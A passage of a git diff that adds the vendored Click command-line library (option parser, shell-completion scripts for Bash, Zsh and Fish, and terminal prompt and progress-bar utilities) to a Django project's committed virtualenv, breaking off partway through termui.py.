#: default it will error out (which is sensible), but there is a + #: second mode where it will ignore it and continue processing + #: after shifting all the unknown options into the resulting args. + self.ignore_unknown_options = False + + if ctx is not None: + self.allow_interspersed_args = ctx.allow_interspersed_args + self.ignore_unknown_options = ctx.ignore_unknown_options + + self._short_opt: t.Dict[str, Option] = {} + self._long_opt: t.Dict[str, Option] = {} + self._opt_prefixes = {"-", "--"} + self._args: t.List[Argument] = [] + + def add_option( + self, + obj: "CoreOption", + opts: t.Sequence[str], + dest: t.Optional[str], + action: t.Optional[str] = None, + nargs: int = 1, + const: t.Optional[t.Any] = None, + ) -> None: + """Adds a new option named `dest` to the parser. The destination + is not inferred (unlike with optparse) and needs to be explicitly + provided. Action can be any of ``store``, ``store_const``, + ``append``, ``append_const`` or ``count``. + + The `obj` can be used to identify the option in the order list + that is returned from the parser. + """ + opts = [normalize_opt(opt, self.ctx) for opt in opts] + option = Option(obj, opts, dest, action=action, nargs=nargs, const=const) + self._opt_prefixes.update(option.prefixes) + for opt in option._short_opts: + self._short_opt[opt] = option + for opt in option._long_opts: + self._long_opt[opt] = option + + def add_argument( + self, obj: "CoreArgument", dest: t.Optional[str], nargs: int = 1 + ) -> None: + """Adds a positional argument named `dest` to the parser. + + The `obj` can be used to identify the option in the order list + that is returned from the parser. + """ + self._args.append(Argument(obj, dest=dest, nargs=nargs)) + + def parse_args( + self, args: t.List[str] + ) -> t.Tuple[t.Dict[str, t.Any], t.List[str], t.List["CoreParameter"]]: + """Parses positional arguments and returns ``(values, args, order)`` + for the parsed options and arguments as well as the leftover + arguments if there are any. The order is a list of objects as they + appear on the command line. If arguments appear multiple times they + will be memorized multiple times as well. + """ + state = ParsingState(args) + try: + self._process_args_for_options(state) + self._process_args_for_args(state) + except UsageError: + if self.ctx is None or not self.ctx.resilient_parsing: + raise + return state.opts, state.largs, state.order + + def _process_args_for_args(self, state: ParsingState) -> None: + pargs, args = _unpack_args( + state.largs + state.rargs, [x.nargs for x in self._args] + ) + + for idx, arg in enumerate(self._args): + arg.process(pargs[idx], state) + + state.largs = args + state.rargs = [] + + def _process_args_for_options(self, state: ParsingState) -> None: + while state.rargs: + arg = state.rargs.pop(0) + arglen = len(arg) + # Double dashes always handled explicitly regardless of what + # prefixes are valid. + if arg == "--": + return + elif arg[:1] in self._opt_prefixes and arglen > 1: + self._process_opts(arg, state) + elif self.allow_interspersed_args: + state.largs.append(arg) + else: + state.rargs.insert(0, arg) + return + + # Say this is the original argument list: + # [arg0, arg1, ..., arg(i-1), arg(i), arg(i+1), ..., arg(N-1)] + # ^ + # (we are about to process arg(i)). + # + # Then rargs is [arg(i), ..., arg(N-1)] and largs is a *subset* of + # [arg0, ..., arg(i-1)] (any options and their arguments will have + # been removed from largs). + # + # The while loop will usually consume 1 or more arguments per pass. + # If it consumes 1 (eg. arg is an option that takes no arguments), + # then after _process_arg() is done the situation is: + # + # largs = subset of [arg0, ..., arg(i)] + # rargs = [arg(i+1), ..., arg(N-1)] + # + # If allow_interspersed_args is false, largs will always be + # *empty* -- still a subset of [arg0, ..., arg(i-1)], but + # not a very interesting subset! + + def _match_long_opt( + self, opt: str, explicit_value: t.Optional[str], state: ParsingState + ) -> None: + if opt not in self._long_opt: + from difflib import get_close_matches + + possibilities = get_close_matches(opt, self._long_opt) + raise NoSuchOption(opt, possibilities=possibilities, ctx=self.ctx) + + option = self._long_opt[opt] + if option.takes_value: + # At this point it's safe to modify rargs by injecting the + # explicit value, because no exception is raised in this + # branch. This means that the inserted value will be fully + # consumed. + if explicit_value is not None: + state.rargs.insert(0, explicit_value) + + value = self._get_value_from_state(opt, option, state) + + elif explicit_value is not None: + raise BadOptionUsage( + opt, _("Option {name!r} does not take a value.").format(name=opt) + ) + + else: + value = None + + option.process(value, state) + + def _match_short_opt(self, arg: str, state: ParsingState) -> None: + stop = False + i = 1 + prefix = arg[0] + unknown_options = [] + + for ch in arg[1:]: + opt = normalize_opt(f"{prefix}{ch}", self.ctx) + option = self._short_opt.get(opt) + i += 1 + + if not option: + if self.ignore_unknown_options: + unknown_options.append(ch) + continue + raise NoSuchOption(opt, ctx=self.ctx) + if option.takes_value: + # Any characters left in arg? Pretend they're the + # next arg, and stop consuming characters of arg. + if i < len(arg): + state.rargs.insert(0, arg[i:]) + stop = True + + value = self._get_value_from_state(opt, option, state) + + else: + value = None + + option.process(value, state) + + if stop: + break + + # If we got any unknown options we re-combinate the string of the + # remaining options and re-attach the prefix, then report that + # to the state as new larg. This way there is basic combinatorics + # that can be achieved while still ignoring unknown arguments. + if self.ignore_unknown_options and unknown_options: + state.largs.append(f"{prefix}{''.join(unknown_options)}") + + def _get_value_from_state( + self, option_name: str, option: Option, state: ParsingState + ) -> t.Any: + nargs = option.nargs + + if len(state.rargs) < nargs: + if option.obj._flag_needs_value: + # Option allows omitting the value. + value = _flag_needs_value + else: + raise BadOptionUsage( + option_name, + ngettext( + "Option {name!r} requires an argument.", + "Option {name!r} requires {nargs} arguments.", + nargs, + ).format(name=option_name, nargs=nargs), + ) + elif nargs == 1: + next_rarg = state.rargs[0] + + if ( + option.obj._flag_needs_value + and isinstance(next_rarg, str) + and next_rarg[:1] in self._opt_prefixes + and len(next_rarg) > 1 + ): + # The next arg looks like the start of an option, don't + # use it as the value if omitting the value is allowed. + value = _flag_needs_value + else: + value = state.rargs.pop(0) + else: + value = tuple(state.rargs[:nargs]) + del state.rargs[:nargs] + + return value + + def _process_opts(self, arg: str, state: ParsingState) -> None: + explicit_value = None + # Long option handling happens in two parts. The first part is + # supporting explicitly attached values. In any case, we will try + # to long match the option first. + if "=" in arg: + long_opt, explicit_value = arg.split("=", 1) + else: + long_opt = arg + norm_long_opt = normalize_opt(long_opt, self.ctx) + + # At this point we will match the (assumed) long option through + # the long option matching code. Note that this allows options + # like "-foo" to be matched as long options. + try: + self._match_long_opt(norm_long_opt, explicit_value, state) + except NoSuchOption: + # At this point the long option matching failed, and we need + # to try with short options. However there is a special rule + # which says, that if we have a two character options prefix + # (applies to "--foo" for instance), we do not dispatch to the + # short option code and will instead raise the no option + # error. + if arg[:2] not in self._opt_prefixes: + self._match_short_opt(arg, state) + return + + if not self.ignore_unknown_options: + raise + + state.largs.append(arg) diff --git a/django_lottopy/lib/python3.10/site-packages/click/py.typed b/django_lottopy/lib/python3.10/site-packages/click/py.typed new file mode 100644 index 00000000..e69de29b diff --git a/django_lottopy/lib/python3.10/site-packages/click/shell_completion.py b/django_lottopy/lib/python3.10/site-packages/click/shell_completion.py new file mode 100644 index 00000000..c17a8e64 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/shell_completion.py @@ -0,0 +1,580 @@ +import os +import re +import typing as t +from gettext import gettext as _ + +from .core import Argument +from .core import BaseCommand +from .core import Context +from .core import MultiCommand +from .core import Option +from .core import Parameter +from .core import ParameterSource +from .parser import split_arg_string +from .utils import echo + + +def shell_complete( + cli: BaseCommand, + ctx_args: t.Dict[str, t.Any], + prog_name: str, + complete_var: str, + instruction: str, +) -> int: + """Perform shell completion for the given CLI program. + + :param cli: Command being called. + :param ctx_args: Extra arguments to pass to + ``cli.make_context``. + :param prog_name: Name of the executable in the shell. + :param complete_var: Name of the environment variable that holds + the completion instruction. + :param instruction: Value of ``complete_var`` with the completion + instruction and shell, in the form ``instruction_shell``. + :return: Status code to exit with. + """ + shell, _, instruction = instruction.partition("_") + comp_cls = get_completion_class(shell) + + if comp_cls is None: + return 1 + + comp = comp_cls(cli, ctx_args, prog_name, complete_var) + + if instruction == "source": + echo(comp.source()) + return 0 + + if instruction == "complete": + echo(comp.complete()) + return 0 + + return 1 + + +class CompletionItem: + """Represents a completion value and metadata about the value. The + default metadata is ``type`` to indicate special shell handling, + and ``help`` if a shell supports showing a help string next to the + value. + + Arbitrary parameters can be passed when creating the object, and + accessed using ``item.attr``. If an attribute wasn't passed, + accessing it returns ``None``. + + :param value: The completion suggestion. + :param type: Tells the shell script to provide special completion + support for the type. Click uses ``"dir"`` and ``"file"``. + :param help: String shown next to the value if supported. + :param kwargs: Arbitrary metadata. The built-in implementations + don't use this, but custom type completions paired with custom + shell support could use it. + """ + + __slots__ = ("value", "type", "help", "_info") + + def __init__( + self, + value: t.Any, + type: str = "plain", + help: t.Optional[str] = None, + **kwargs: t.Any, + ) -> None: + self.value = value + self.type = type + self.help = help + self._info = kwargs + + def __getattr__(self, name: str) -> t.Any: + return self._info.get(name) + + +# Only Bash >= 4.4 has the nosort option. +_SOURCE_BASH = """\ +%(complete_func)s() { + local IFS=$'\\n' + local response + + response=$(env COMP_WORDS="${COMP_WORDS[*]}" COMP_CWORD=$COMP_CWORD \ +%(complete_var)s=bash_complete $1) + + for completion in $response; do + IFS=',' read type value <<< "$completion" + + if [[ $type == 'dir' ]]; then + COMPREPLY=() + compopt -o dirnames + elif [[ $type == 'file' ]]; then + COMPREPLY=() + compopt -o default + elif [[ $type == 'plain' ]]; then + COMPREPLY+=($value) + fi + done + + return 0 +} + +%(complete_func)s_setup() { + complete -o nosort -F %(complete_func)s %(prog_name)s +} + +%(complete_func)s_setup; +""" + +_SOURCE_ZSH = """\ +#compdef %(prog_name)s + +%(complete_func)s() { + local -a completions + local -a completions_with_descriptions + local -a response + (( ! $+commands[%(prog_name)s] )) && return 1 + + response=("${(@f)$(env COMP_WORDS="${words[*]}" COMP_CWORD=$((CURRENT-1)) \ +%(complete_var)s=zsh_complete %(prog_name)s)}") + + for type key descr in ${response}; do + if [[ "$type" == "plain" ]]; then + if [[ "$descr" == "_" ]]; then + completions+=("$key") + else + completions_with_descriptions+=("$key":"$descr") + fi + elif [[ "$type" == "dir" ]]; then + _path_files -/ + elif [[ "$type" == "file" ]]; then + _path_files -f + fi + done + + if [ -n "$completions_with_descriptions" ]; then + _describe -V unsorted completions_with_descriptions -U + fi + + if [ -n "$completions" ]; then + compadd -U -V unsorted -a completions + fi +} + +compdef %(complete_func)s %(prog_name)s; +""" + +_SOURCE_FISH = """\ +function %(complete_func)s; + set -l response; + + for value in (env %(complete_var)s=fish_complete COMP_WORDS=(commandline -cp) \ +COMP_CWORD=(commandline -t) %(prog_name)s); + set response $response $value; + end; + + for completion in $response; + set -l metadata (string split "," $completion); + + if test $metadata[1] = "dir"; + __fish_complete_directories $metadata[2]; + else if test $metadata[1] = "file"; + __fish_complete_path $metadata[2]; + else if test $metadata[1] = "plain"; + echo $metadata[2]; + end; + end; +end; + +complete --no-files --command %(prog_name)s --arguments \ +"(%(complete_func)s)"; +""" + + +class ShellComplete: + """Base class for providing shell completion support. A subclass for + a given shell will override attributes and methods to implement the + completion instructions (``source`` and ``complete``). + + :param cli: Command being called. + :param prog_name: Name of the executable in the shell. + :param complete_var: Name of the environment variable that holds + the completion instruction. + + .. versionadded:: 8.0 + """ + + name: t.ClassVar[str] + """Name to register the shell as with :func:`add_completion_class`. + This is used in completion instructions (``{name}_source`` and + ``{name}_complete``). + """ + + source_template: t.ClassVar[str] + """Completion script template formatted by :meth:`source`. This must + be provided by subclasses. + """ + + def __init__( + self, + cli: BaseCommand, + ctx_args: t.Dict[str, t.Any], + prog_name: str, + complete_var: str, + ) -> None: + self.cli = cli + self.ctx_args = ctx_args + self.prog_name = prog_name + self.complete_var = complete_var + + @property + def func_name(self) -> str: + """The name of the shell function defined by the completion + script. + """ + safe_name = re.sub(r"\W*", "", self.prog_name.replace("-", "_"), re.ASCII) + return f"_{safe_name}_completion" + + def source_vars(self) -> t.Dict[str, t.Any]: + """Vars for formatting :attr:`source_template`. + + By default this provides ``complete_func``, ``complete_var``, + and ``prog_name``. + """ + return { + "complete_func": self.func_name, + "complete_var": self.complete_var, + "prog_name": self.prog_name, + } + + def source(self) -> str: + """Produce the shell script that defines the completion + function. By default this ``%``-style formats + :attr:`source_template` with the dict returned by + :meth:`source_vars`. + """ + return self.source_template % self.source_vars() + + def get_completion_args(self) -> t.Tuple[t.List[str], str]: + """Use the env vars defined by the shell script to return a + tuple of ``args, incomplete``. This must be implemented by + subclasses. + """ + raise NotImplementedError + + def get_completions( + self, args: t.List[str], incomplete: str + ) -> t.List[CompletionItem]: + """Determine the context and last complete command or parameter + from the complete args. Call that object's ``shell_complete`` + method to get the completions for the incomplete value. + + :param args: List of complete args before the incomplete value. + :param incomplete: Value being completed. May be empty. + """ + ctx = _resolve_context(self.cli, self.ctx_args, self.prog_name, args) + obj, incomplete = _resolve_incomplete(ctx, args, incomplete) + return obj.shell_complete(ctx, incomplete) + + def format_completion(self, item: CompletionItem) -> str: + """Format a completion item into the form recognized by the + shell script. This must be implemented by subclasses. + + :param item: Completion item to format. + """ + raise NotImplementedError + + def complete(self) -> str: + """Produce the completion data to send back to the shell. + + By default this calls :meth:`get_completion_args`, gets the + completions, then calls :meth:`format_completion` for each + completion. + """ + args, incomplete = self.get_completion_args() + completions = self.get_completions(args, incomplete) + out = [self.format_completion(item) for item in completions] + return "\n".join(out) + + +class BashComplete(ShellComplete): + """Shell completion for Bash.""" + + name = "bash" + source_template = _SOURCE_BASH + + def _check_version(self) -> None: + import subprocess + + output = subprocess.run( + ["bash", "-c", "echo ${BASH_VERSION}"], stdout=subprocess.PIPE + ) + match = re.search(r"^(\d+)\.(\d+)\.\d+", output.stdout.decode()) + + if match is not None: + major, minor = match.groups() + + if major < "4" or major == "4" and minor < "4": + raise RuntimeError( + _( + "Shell completion is not supported for Bash" + " versions older than 4.4." + ) + ) + else: + raise RuntimeError( + _("Couldn't detect Bash version, shell completion is not supported.") + ) + + def source(self) -> str: + self._check_version() + return super().source() + + def get_completion_args(self) -> t.Tuple[t.List[str], str]: + cwords = split_arg_string(os.environ["COMP_WORDS"]) + cword = int(os.environ["COMP_CWORD"]) + args = cwords[1:cword] + + try: + incomplete = cwords[cword] + except IndexError: + incomplete = "" + + return args, incomplete + + def format_completion(self, item: CompletionItem) -> str: + return f"{item.type},{item.value}" + + +class ZshComplete(ShellComplete): + """Shell completion for Zsh.""" + + name = "zsh" + source_template = _SOURCE_ZSH + + def get_completion_args(self) -> t.Tuple[t.List[str], str]: + cwords = split_arg_string(os.environ["COMP_WORDS"]) + cword = int(os.environ["COMP_CWORD"]) + args = cwords[1:cword] + + try: + incomplete = cwords[cword] + except IndexError: + incomplete = "" + + return args, incomplete + + def format_completion(self, item: CompletionItem) -> str: + return f"{item.type}\n{item.value}\n{item.help if item.help else '_'}" + + +class FishComplete(ShellComplete): + """Shell completion for Fish.""" + + name = "fish" + source_template = _SOURCE_FISH + + def get_completion_args(self) -> t.Tuple[t.List[str], str]: + cwords = split_arg_string(os.environ["COMP_WORDS"]) + incomplete = os.environ["COMP_CWORD"] + args = cwords[1:] + + # Fish stores the partial word in both COMP_WORDS and + # COMP_CWORD, remove it from complete args. + if incomplete and args and args[-1] == incomplete: + args.pop() + + return args, incomplete + + def format_completion(self, item: CompletionItem) -> str: + if item.help: + return f"{item.type},{item.value}\t{item.help}" + + return f"{item.type},{item.value}" + + +_available_shells: t.Dict[str, t.Type[ShellComplete]] = { + "bash": BashComplete, + "fish": FishComplete, + "zsh": ZshComplete, +} + + +def add_completion_class( + cls: t.Type[ShellComplete], name: t.Optional[str] = None +) -> None: + """Register a :class:`ShellComplete` subclass under the given name. + The name will be provided by the completion instruction environment + variable during completion. + + :param cls: The completion class that will handle completion for the + shell. + :param name: Name to register the class under. Defaults to the + class's ``name`` attribute. + """ + if name is None: + name = cls.name + + _available_shells[name] = cls + + +def get_completion_class(shell: str) -> t.Optional[t.Type[ShellComplete]]: + """Look up a registered :class:`ShellComplete` subclass by the name + provided by the completion instruction environment variable. If the + name isn't registered, returns ``None``. + + :param shell: Name the class is registered under. + """ + return _available_shells.get(shell) + + +def _is_incomplete_argument(ctx: Context, param: Parameter) -> bool: + """Determine if the given parameter is an argument that can still + accept values. + + :param ctx: Invocation context for the command represented by the + parsed complete args. + :param param: Argument object being checked. + """ + if not isinstance(param, Argument): + return False + + assert param.name is not None + value = ctx.params[param.name] + return ( + param.nargs == -1 + or ctx.get_parameter_source(param.name) is not ParameterSource.COMMANDLINE + or ( + param.nargs > 1 + and isinstance(value, (tuple, list)) + and len(value) < param.nargs + ) + ) + + +def _start_of_option(ctx: Context, value: str) -> bool: + """Check if the value looks like the start of an option.""" + if not value: + return False + + c = value[0] + return c in ctx._opt_prefixes + + +def _is_incomplete_option(ctx: Context, args: t.List[str], param: Parameter) -> bool: + """Determine if the given parameter is an option that needs a value. + + :param args: List of complete args before the incomplete value. + :param param: Option object being checked. + """ + if not isinstance(param, Option): + return False + + if param.is_flag or param.count: + return False + + last_option = None + + for index, arg in enumerate(reversed(args)): + if index + 1 > param.nargs: + break + + if _start_of_option(ctx, arg): + last_option = arg + + return last_option is not None and last_option in param.opts + + +def _resolve_context( + cli: BaseCommand, ctx_args: t.Dict[str, t.Any], prog_name: str, args: t.List[str] +) -> Context: + """Produce the context hierarchy starting with the command and + traversing the complete arguments. This only follows the commands, + it doesn't trigger input prompts or callbacks. + + :param cli: Command being called. + :param prog_name: Name of the executable in the shell. + :param args: List of complete args before the incomplete value. + """ + ctx_args["resilient_parsing"] = True + ctx = cli.make_context(prog_name, args.copy(), **ctx_args) + args = ctx.protected_args + ctx.args + + while args: + command = ctx.command + + if isinstance(command, MultiCommand): + if not command.chain: + name, cmd, args = command.resolve_command(ctx, args) + + if cmd is None: + return ctx + + ctx = cmd.make_context(name, args, parent=ctx, resilient_parsing=True) + args = ctx.protected_args + ctx.args + else: + while args: + name, cmd, args = command.resolve_command(ctx, args) + + if cmd is None: + return ctx + + sub_ctx = cmd.make_context( + name, + args, + parent=ctx, + allow_extra_args=True, + allow_interspersed_args=False, + resilient_parsing=True, + ) + args = sub_ctx.args + + ctx = sub_ctx + args = [*sub_ctx.protected_args, *sub_ctx.args] + else: + break + + return ctx + + +def _resolve_incomplete( + ctx: Context, args: t.List[str], incomplete: str +) -> t.Tuple[t.Union[BaseCommand, Parameter], str]: + """Find the Click object that will handle the completion of the + incomplete value. Return the object and the incomplete value. + + :param ctx: Invocation context for the command represented by + the parsed complete args. + :param args: List of complete args before the incomplete value. + :param incomplete: Value being completed. May be empty. + """ + # Different shells treat an "=" between a long option name and + # value differently. Might keep the value joined, return the "=" + # as a separate item, or return the split name and value. Always + # split and discard the "=" to make completion easier. + if incomplete == "=": + incomplete = "" + elif "=" in incomplete and _start_of_option(ctx, incomplete): + name, _, incomplete = incomplete.partition("=") + args.append(name) + + # The "--" marker tells Click to stop treating values as options + # even if they start with the option character. If it hasn't been + # given and the incomplete arg looks like an option, the current + # command will provide option name completions. + if "--" not in args and _start_of_option(ctx, incomplete): + return ctx.command, incomplete + + params = ctx.command.get_params(ctx) + + # If the last complete arg is an option name with an incomplete + # value, the option will provide value completions. + for param in params: + if _is_incomplete_option(ctx, args, param): + return param, incomplete + + # It's not an option name or value. The first argument without a + # parsed value will provide value completions. + for param in params: + if _is_incomplete_argument(ctx, param): + return param, incomplete + + # There were no unparsed arguments, the command may be a group that + # will provide command name completions. + return ctx.command, incomplete diff --git a/django_lottopy/lib/python3.10/site-packages/click/termui.py b/django_lottopy/lib/python3.10/site-packages/click/termui.py new file mode 100644 index 00000000..bfb2f5ae --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click/termui.py @@ -0,0 +1,787 @@ +import inspect +import io +import itertools +import os +import sys +import typing as t +from gettext import gettext as _ + +from ._compat import isatty +from ._compat import strip_ansi +from ._compat import WIN +from .exceptions import Abort +from .exceptions import UsageError +from .globals import resolve_color_default +from .types import Choice +from .types import convert_type +from .types import ParamType +from .utils import echo +from .utils import LazyFile + +if t.TYPE_CHECKING: + from ._termui_impl import ProgressBar + +V = t.TypeVar("V") + +# The prompt functions to use. The doc tools currently override these +# functions to customize how they work. +visible_prompt_func: t.Callable[[str], str] = input + +_ansi_colors = { + "black": 30, + "red": 31, + "green": 32, + "yellow": 33, + "blue": 34, + "magenta": 35, + "cyan": 36, + "white": 37, + "reset": 39, + "bright_black": 90, + "bright_red": 91, + "bright_green": 92, + "bright_yellow": 93, + "bright_blue": 94, + "bright_magenta": 95, + "bright_cyan": 96, + "bright_white": 97, +} +_ansi_reset_all = "\033[0m" + + +def hidden_prompt_func(prompt: str) -> str: + import getpass + + return getpass.getpass(prompt) + + +def _build_prompt( + text: str, + suffix: str, + show_default: bool = False, + default: t.Optional[t.Any] = None, + show_choices: bool = True, + type: t.Optional[ParamType] = None, +) -> str: + prompt = text + if type is not None and show_choices and isinstance(type, Choice): + prompt += f" ({', '.join(map(str, type.choices))})" + if default is not None and show_default: + prompt = f"{prompt} [{_format_default(default)}]" + return f"{prompt}{suffix}" + + +def _format_default(default: t.Any) -> t.Any: + if isinstance(default, (io.IOBase, LazyFile)) and hasattr(default, "name"): + return default.name # type: ignore + + return default + + +def prompt( + text: str, + default: t.Optional[t.Any] = None, + hide_input: bool = False, + confirmation_prompt: t.Union[bool, str] = False, + type: t.Optional[t.Union[ParamType, t.Any]] = None, + value_proc: t.Optional[t.Callable[[str], t.Any]] = None, + prompt_suffix: str = ": ", + show_default: bool = True, + err: bool = False, + show_choices: bool = True, +) -> t.Any: + """Prompts a user for input. This is a convenience function that can + be used to prompt a user for input later. + + If the user aborts the input by sending an interrupt signal, this + function will catch it and raise a :exc:`Abort` exception. + + :param text: the text to show for the prompt. + :param default: the default value to use if no input happens. If this + is not given it will prompt until it's aborted. + :param hide_input: if this is set to true then the input value will + be hidden. + :param confirmation_prompt: Prompt a second time to confirm the + value. Can be set to a string instead of ``True`` to customize + the message. + :param type: the type to use to check the value against. + :param value_proc: if this parameter is provided it's a function that + is invoked instead of the type conversion to + convert a value. + :param prompt_suffix: a suffix that should be added to the prompt. + :param show_default: shows or hides the default value in the prompt. + :param err: if set to true the file defaults to ``stderr`` instead of + ``stdout``, the same as with echo. + :param show_choices: Show or hide choices if the passed type is a Choice. + For example if type is a Choice of either day or week, + show_choices is true and text is "Group by" then the + prompt will be "Group by (day, week): ". + + .. versionadded:: 8.0 + ``confirmation_prompt`` can be a custom string. + + .. versionadded:: 7.0 + Added the ``show_choices`` parameter. + + .. versionadded:: 6.0 + Added unicode support for cmd.exe on Windows. + + .. versionadded:: 4.0 + Added the `err` parameter. + + """ + + def prompt_func(text: str) -> str: + f = hidden_prompt_func if hide_input else visible_prompt_func + try: + # Write the prompt separately so that we get nice + # coloring through colorama on Windows + echo(text.rstrip(" "), nl=False, err=err) + # Echo a space to stdout to work around an issue where + # readline causes backspace to clear the whole line. + return f(" ") + except (KeyboardInterrupt, EOFError): + # getpass doesn't print a newline if the user aborts input with ^C. + # Allegedly this behavior is inherited from getpass(3). + # A doc bug has been filed at https://bugs.python.org/issue24711 + if hide_input: + echo(None, err=err) + raise Abort() from None + + if value_proc is None: + value_proc = convert_type(type, default) + + prompt = _build_prompt( + text, prompt_suffix, show_default, default, show_choices, type + ) + + if confirmation_prompt: + if confirmation_prompt is True: + confirmation_prompt = _("Repeat for confirmation") + + confirmation_prompt = _build_prompt(confirmation_prompt, prompt_suffix) + + while True: + while True: + value = prompt_func(prompt) + if value: + break + elif default is not None: + value = default + break + try: + result = value_proc(value) + except UsageError as e: + if hide_input: + echo(_("Error: The value you entered was invalid."), err=err) + else: + echo(_("Error: {e.message}").format(e=e), err=err) # noqa: B306 + continue + if not confirmation_prompt: + return result + while True: + value2 = prompt_func(confirmation_prompt) + is_empty = not value and not value2 + if value2 or is_empty: + break + if value == value2: + return result + echo(_("Error: The two entered values do not match."), err=err) + + +def confirm( + text: str, + default: t.Optional[bool] = False, + abort: bool = False, + prompt_suffix: str = ": ", + show_default: bool = True, + err: bool = False, +) -> bool: + """Prompts for confirmation (yes/no question). + + If the user aborts the input by sending a interrupt signal this + function will catch it and raise a :exc:`Abort` exception. + + :param text: the question to ask. + :param default: The default value to use when no input is given. If + ``None``, repeat until input is given. + :param abort: if this is set to `True` a negative answer aborts the + exception by raising :exc:`Abort`. + :param prompt_suffix: a suffix that should be added to the prompt. + :param show_default: shows or hides the default value in the prompt. + :param err: if set to true the file defaults to ``stderr`` instead of + ``stdout``, the same as with echo. + + .. versionchanged:: 8.0 + Repeat until input is given if ``default`` is ``None``. + + .. versionadded:: 4.0 + Added the ``err`` parameter. + """ + prompt = _build_prompt( + text, + prompt_suffix, + show_default, + "y/n" if default is None else ("Y/n" if default else "y/N"), + ) + + while True: + try: + # Write the prompt separately so that we get nice + # coloring through colorama on Windows + echo(prompt.rstrip(" "), nl=False, err=err) + # Echo a space to stdout to work around an issue where + # readline causes backspace to clear the whole line. + value = visible_prompt_func(" ").lower().strip() + except (KeyboardInterrupt, EOFError): + raise Abort() from None + if value in ("y", "yes"): + rv = True + elif value in ("n", "no"): + rv = False + elif default is not None and value == "": + rv = default + else: + echo(_("Error: invalid input"), err=err) + continue + break + if abort and not rv: + raise Abort() + return rv + + +def echo_via_pager( + text_or_generator: t.Union[t.Iterable[str], t.Callable[[], t.Iterable[str]], str], + color: t.Optional[bool] = None, +) -> None: + """This function takes a text and shows it via an environment specific + pager on stdout. + + .. versionchanged:: 3.0 + Added the `color` flag. + + :param text_or_generator: the text to page, or alternatively, a + generator emitting the text to page. + :param color: controls if the pager supports ANSI colors or not. The + default is autodetection. + """ + color = resolve_color_default(color) + + if inspect.isgeneratorfunction(text_or_generator): + i = t.cast(t.Callable[[], t.Iterable[str]], text_or_generator)() + elif isinstance(text_or_generator, str): + i = [text_or_generator] + else: + i = iter(t.cast(t.Iterable[str], text_or_generator)) + + # convert every element of i to a text type if necessary + text_generator = (el if isinstance(el, str) else str(el) for el in i) + + from ._termui_impl import pager + + return pager(itertools.chain(text_generator, "\n"), color) + + +def progressbar( + iterable: t.Optional[t.Iterable[V]] = None, + length: t.Optional[int] = None, + label: t.Optional[str] = None, + show_eta: bool = True, + show_percent: t.Optional[bool] = None, + show_pos: bool = False, + item_show_func: t.Optional[t.Callable[[t.Optional[V]], t.Optional[str]]] = None, + fill_char: str = "#", + empty_char: str = "-", + bar_template: str = "%(label)s [%(bar)s] %(info)s", + info_sep: str = " ", + width: int = 36, + file: t.Optional[t.TextIO] = None, + color: t.Optional[bool] = None, + update_min_steps: int = 1, +) -> "ProgressBar[V]": + """This function creates an iterable context manager that can be used + to iterate over something while showing a progress bar. It will + either iterate over the `iterable` or `length` items (that are counted + up). While iteration happens, this function will print a rendered + progress bar to the given `file` (defaults to stdout) and will attempt + to calculate remaining time and more. By default, this progress bar + will not be rendered if the file is not a terminal. + + The context manager creates the progress bar. When the context + manager is entered the progress bar is already created. With every + iteration over the progress bar, the iterable passed to the bar is + advanced and the bar is updated. When the context manager exits, + a newline is printed and the progress bar is finalized on screen. + + Note: The progress bar is currently designed for use cases where the + total progress can be expected to take at least several seconds. + Because of this, the ProgressBar class object won't display + progress that is considered too fast, and progress where the time + between steps is less than a second. + + No printing must happen or the progress bar will be unintentionally + destroyed. + + Example usage:: + + with progressbar(items) as bar: + for item in bar: + do_something_with(item) + + Alternatively, if no iterable is specified, one can manually update the + progress bar through the `update()` method instead of directly + iterating over the progress bar. The update method accepts the number + of steps to increment the bar with:: + + with progressbar(length=chunks.total_bytes) as bar: + for chunk in chunks: + process_chunk(chunk) + bar.update(chunks.bytes) + + The ``update()`` method also takes an optional value specifying the + ``current_item`` at the new position. This is useful when used + together with ``item_show_func`` to customize the output for each + manual step:: + + with click.progressbar( + length=total_size, + label='Unzipping archive', + item_show_func=lambda a: a.filename + ) as bar: + for archive in zip_file: + archive.extract() + bar.update(archive.size, archive) + + :param iterable: an iterable to iterate over. If not provided the length + is required. + :param length: the number of items to iterate over. By default the + progressbar will attempt to ask the iterator about its + length, which might or might not work. If an iterable is + also provided this parameter can be used to override the + length. If an iterable is not provided the progress bar + will iterate over a range of that length. + :param label: the label to show next to the progress bar. + :param show_eta: enables or disables the estimated time display. This is + automatically disabled if the length cannot be + determined. + :param show_percent: enables or disables the percentage display. The + default is `True` if the iterable has a length or + `False` if not. + :param show_pos: enables or disables the absolute position display. The + default is `False`. + :param item_show_func: A function called with the current item which + can return a string to show next to the progress bar. If the + function returns ``None`` nothing is shown. The current item can + be ``None``, such as when entering and exiting the bar. + :param fill_char: the character to use to show the filled part of the + progress bar. + :param empty_char: the character to use to show the non-filled part of + the progress bar. + :param bar_template: the format string to use as template for the bar. + The parameters in it are ``label`` for the label, + ``bar`` for the progress bar and ``info`` for the + info section. + :param info_sep: the separator between multiple info items (eta etc.) + :param width: the width of the progress bar in characters, 0 means full + terminal width + :param file: The file to write to. If this is not a terminal then + only the label is printed. + :param color: controls if the terminal supports ANSI colors or not. The + default is autodetection. This is only needed if ANSI + codes are included anywhere in the progress bar output + which is not the case by default. + :param update_min_steps: Render only when this many updates have + completed. This allows tuning for very fast iterators. + + .. versionchanged:: 8.0 + Output is shown even if execution time is less than 0.5 seconds. + + .. versionchanged:: 8.0 + ``item_show_func`` shows the current item, not the previous one. + + .. versionchanged:: 8.0 + Labels are echoed if the output is not a TTY. Reverts a change + in 7.0 that removed all output. + + .. versionadded:: 8.0 + Added the ``update_min_steps`` parameter. + + .. versionchanged:: 4.0 + Added the ``color`` parameter. Added the ``update`` method to + the object. + + .. versionadded:: 2.0 + """ + from ._termui_impl import ProgressBar + + color = resolve_color_default(color) + return ProgressBar( + iterable=iterable, + length=length, + show_eta=show_eta, + show_percent=show_percent, + show_pos=show_pos, + item_show_func=item_show_func, + fill_char=fill_char, + empty_char=empty_char, + bar_template=bar_template, + info_sep=info_sep, + file=file, + label=label, + width=width, + color=color, + update_min_steps=update_min_steps, + ) + + +def clear() -> None: + """Clears the terminal screen. This will have the effect of clearing + the whole visible space of the terminal and moving the cursor to the + top left. This does not do anything if not connected to a terminal. + + .. versionadded:: 2.0 + """ + if not isatty(sys.stdout): + return + if WIN: + os.system("cls") + else: + 